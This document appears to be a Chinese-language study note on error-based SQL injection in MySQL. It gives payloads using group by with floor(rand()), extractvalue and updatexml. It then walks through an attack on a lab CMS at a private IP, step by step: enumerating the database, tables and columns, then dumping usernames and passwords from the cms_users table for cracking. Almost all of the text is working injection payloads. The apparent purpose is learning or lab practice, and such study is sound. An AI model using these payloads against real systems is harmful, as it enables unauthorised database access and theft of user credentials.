报错注入
在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
报错注入的原理,就是在错误信息中执行 SQL 语句。
group by
?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
extractvalue
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
updatexml
显示长度有限制,可以拆分查询
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
例
当 sql 语句出现闭合时,显示报错信息
在报错信息后加报错查询
and updatexml(1,concat(0x5e,(select database()),0x5e),1)
爆破账号密码
查看当前数据库
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
查看当前数据库中的表
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()),0x5e)) --+
报错返回多于一行
加限制条件,一次查询一条,从 limit 1,1
开始,直到查到 limit 7,1
出现 cms_users 表可能存在用户信息
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e)) --+
查看表中字段
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),0x5e)) --+
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 2,1),0x5e)) --+
查询用户名和密码
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select group_concat(username,':',password) from cms_users),0x5e)) --+
解密